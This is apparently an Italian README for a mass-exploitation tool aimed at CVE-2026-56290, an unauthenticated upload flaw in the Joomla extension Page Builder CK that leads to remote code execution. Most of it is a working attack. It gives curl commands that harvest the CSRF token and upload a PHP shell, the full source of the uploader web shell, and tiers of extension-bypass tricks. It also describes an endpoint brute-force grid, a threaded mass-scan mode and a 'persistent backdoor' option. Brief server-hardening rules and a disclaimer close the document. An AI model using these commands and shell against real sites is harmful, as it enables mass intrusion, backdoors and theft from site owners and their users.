
📤 Framework di sfruttamento di massa per CVE-2026-56290 — Page Builder CK Joomla caricamento di file non autenticato a RCE
CVE-2026-56290 è una vulnerabilità di gravità critica in Page Builder CK (com_pagebuilderck), una popolare estensione per la creazione di pagine in Joomla. Il metodo del controller browse.ajaxAddPicture accetta caricamenti di file non autenticati con un percorso di destinazione controllato dall'utente, consentendo agli attaccanti di scrivere file PHP arbitrari in directory accessibili dal web.
// browse.php controller — NESSUN controllo di autenticazione
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← file controllato dall'utente
$path = trim($input->get('path', '')); // ← path controllato dall'utente, solo trim()!
// ... carica il file in $path senza convalidare la destinazione
}
Il parametro path subisce solo una sanitizzazione trim() — niente whitelist, niente controllo di path traversal, niente gate di autenticazione. Combinato con un token CSRF pubblicamente accessibile da qualsiasi pagina Joomla, gli attaccanti possono caricare shell PHP da remoto in qualsiasi directory scrivibile.
| Vettore | Gravità | Impatto |
|---|---|---|
| Caricamento File Non Autenticato |
1. COLPISCI la homepage Joomla → raccogli token CSRF (hex32 + valore "1")
2. POST caricamento file → task=browse.ajaxAddPicture&{token}=1
3. La shell PHP atterra in → media/com_pagebuilderck/gfonts/shell.php
4. GET URL shell → codice eseguito, RCE confermata
5. POST f=@file alla shell → carica strumenti aggiuntivi
6. GET ?cleanup=1 → shell si autodistrugge
Nota: La versione viene rilevata dal file manifest di Joomla in
/administrator/manifests/files/com_pagebuilderck.xml. Se il manifest non è accessibile, lo scanner considera il target come potenzialmente vulnerabile.
# Clona il repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Installa le dipendenze
pip install -r requirements.txt
# Verifica
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK RCE Non Autenticata | Exploit di Massa & Validatore
-t, --target URL singolo target
-f, --file File con URL target (uno per riga, # per commenti)
-o, --output File output TXT live (default: cve-2026-56290_live.txt)
--json Percorso file report JSON (default: cve-2026-56290_report.json)
--threads Worker concorrenti (default: 20)
--timeout Timeout richiesta in secondi (default: 15)
--no-cleanup Lascia le shell sul target (backdoor persistente)
-v, --verbose Output verbose scoperta endpoint
--known-endpoint Salta scoperta: task,file_param,folder_param
# Singolo target
python cve_2026_56290.py -t https://target.com
# Scansione di massa da file
python cve_2026_56290.py -f targets.txt
# Output personalizzato + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Lascia le shell (backdoor persistente)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Salta scoperta con endpoint noto
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# commenti e righe vuote vengono ignorati
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 target | 20 thread | cleanup=si
TXT live: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confermata] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Uso: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [corretto] 3.2s
✅ https://target-vuln2.com [rce_confermata] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Uso: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
RIEPILOGO SCANSIONE
==================================================
Totale : 5
✅ RCE Confermata : 2
⚠️ RCE Fallita : 1
🛡️ Corretto : 1
🔍 Differenza : 0
❌ Non Joomla : 0
⏭️ Nessun Componente : 1
💥 Errori : 0
==================================================
Passo 1 — Raccogli Token CSRF
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
Passo 2 — Carica Shell PHP
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
Passo 3 — Verifica RCE
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → Output shell PHP, conferma esecuzione codice
Lo scanner distribuisce una shell uploader autonoma — nessun exec(), system() o eval() richiesto:
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('PULITO');
}
echo '<token-di-convalida-univoco>';
?></pre></body></html>
Capacità della shell:
f=@file?cleanup=1┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ FASE RICOGNIZIONE │ FASE SFRUTTAMENTO │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Rilevamento │ │ Brute-force │ │ Griglia │ │
│ │ Joomla │ │ Endpoint │ │ Bypass │ │
│ │ (2 fasi) │ │ (1000+ combo)│ │ Estensione │ │
│ └─────┬──────┘ │ └──────┬───────┘ │ (40+ estensioni)│
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ Rilevamento │ │ Raccolta │ │ Distribuzione│ │
│ │ PBCK │ │ Token CSRF │ │ Shell PHP │ │
│ │ (sonde) │ │ (5 pagine) │ │ (20+ percorsi)│ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Controllo │ │ │ │ Convalida │ │
│ │ Versione │ │ │ │ + Pulizia │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
Lo scanner utilizza un approccio brute-force a livelli con un budget di tempo per target (15s):
Ogni combinazione: carica una sonda .txt → verifica tramite GET → match su successo. Ritorna immediatamente quando confermato.
CKFile::makeSafe() blocca .php su alcune configurazioni. La strategia di bypass:
Livello 1: Veloce
php, PHP, pht, phar
↓ (se bloccato)
Livello 2: Giocoleria maiuscole/minuscole
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (se bloccato)
Livello 3: Gestori alternativi
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (se bloccato)
Livello 4: Doppie estensioni
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (se bloccato)
Livello 5: Trucchi Windows
php., PHP., php. , php.SWF
Il token CSRF di Joomla è incorporato in ogni pagina — home, login, registrazione, moduli di contatto, admin:
CSRF_PAGES = [
"", # homepage
"/index.php?option=com_users&view=login", # login
"/index.php?option=com_users&view=registration", # registrazione
"/index.php?option=com_contact&view=contact&id=1", # contatto
"/administrator/index.php", # login admin
]
Pattern A — Input nascosto HTML: <input type="hidden" name="<hex32>" value="1">
Pattern B — Config JSON: "csrf.token":"<hex32>"
Fase 1 — Impronte HTML (veloci, definitive)
<jdoc:include>, joomla-script-options, "csrf.token"/components/com_, /modules/mod_, /plugins/system/Fase 2 — Sonda Pannello Amministrazione (fallback)
/administrator/name="username", mod-login-, administrator/templates/Livello 1 — Indicatori forti HTML
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
Livello 2 — Indicatori deboli HTML con conferma
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
Livello 3 — Sonde dirette su file (cattura installazioni dove PBCK non è in homepage)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Aggiorna Page Builder CK all'ultima versione corretta
# Controlla: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — blocca l'accesso non autenticato al controller di caricamento
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess in media/ — disabilita esecuzione PHP
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Scansiona la tua infrastruttura
python cve_2026_56290.py -f i_miei_siti_joomla.txt -o risultati_audit.txt
🚨 SOLO PER SCOPI EDUCATIVI & TEST AUTORIZZATI
Questo software è fornito esclusivamente per scopi educativi e ricerca legittima sulla sicurezza. È inteso per essere utilizzato da:
- 🛡️ Professionisti della sicurezza che conducono test di penetrazione autorizzati
- 🏢 Organizzazioni che sottopongono a audit la propria infrastruttura Joomla
- 🔬 Ricercatori che studiano tecniche di sfruttamento delle vulnerabilità
- 🎓 Studenti che studiano la sicurezza delle applicazioni web
❌ NON puoi utilizzare questo software per:
- Accedere a sistemi informatici senza autorizzazione esplicita scritta
- Compromettere, danneggiare o interrompere sistemi che non possiedi
- Intraprendere attività illegali di qualsiasi tipo
⚖️ Avviso Legale
L'accesso non autorizzato ai sistemi informatici viola leggi tra cui, ma non solo:
- Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Unione Europea: Direttiva 2013/40/UE
- Regno Unito: Computer Misuse Act 1990
L'autore/gli autori NON si assumono ALCUNA RESPONSABILITÀ per qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo strumento. Utilizzando questo software, riconosci di essere l'unico responsabile delle tue azioni e accetti di rispettare tutte le leggi applicabili.
⚡ Costruito con precisione per la comunità di ricerca sulla sicurezza ⚡
Joomla® è un marchio registrato di Open Source Matters, Inc.
Questo progetto non è affiliato o approvato da Joomla, Open Source Matters o Page Builder CK.
| 9.8 (Critico) |
| Esecuzione arbitraria di codice PHP |
| Raccolta Token CSRF | 5.3 (Medio) | Abilita la catena di caricamento |
| Divulgazione di Informazioni | 5.3 (Medio) | Fingerprinting della versione dell'estensione |
| Versione Page Builder CK | Stato | Note |
|---|
| 3.1.1 e precedenti | 🔴 Vulnerabile | Caricamento non autenticato confermato |
| 3.4.10 e precedenti | 🔴 Vulnerabile | Range esteso per analisi |
| 3.5.10 e precedenti | 🔴 Vulnerabile | Alcune varianti corrette potrebbero esistere |
| > 3.5.10 | 🟢 Possibilmente Corretto | Verifica tramite manifest XML |
🔍 Ricognizione
|
💀 Sfruttamento
|
| Livello | Task | Parametri File | Parametri Cartella | Percorsi Destinazione | Combinazioni Totali |
|---|
| Livello 1 (confermato) | browse.ajaxAddPicture + 3 altri | file, Filedata | path, folder, dir | Top 4 directory PBCK | 96 |
| Livello 2 (griglia completa) | 12 task | 4 parametri | 5 parametri | 20+ percorsi | 4.800+ |
| Risorsa | Link |
|---|
| Inserimento NVD | CVE-2026-56290 |
| Sicurezza Joomla | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| OWASP File Upload | Caricamento File Senza Restrizioni |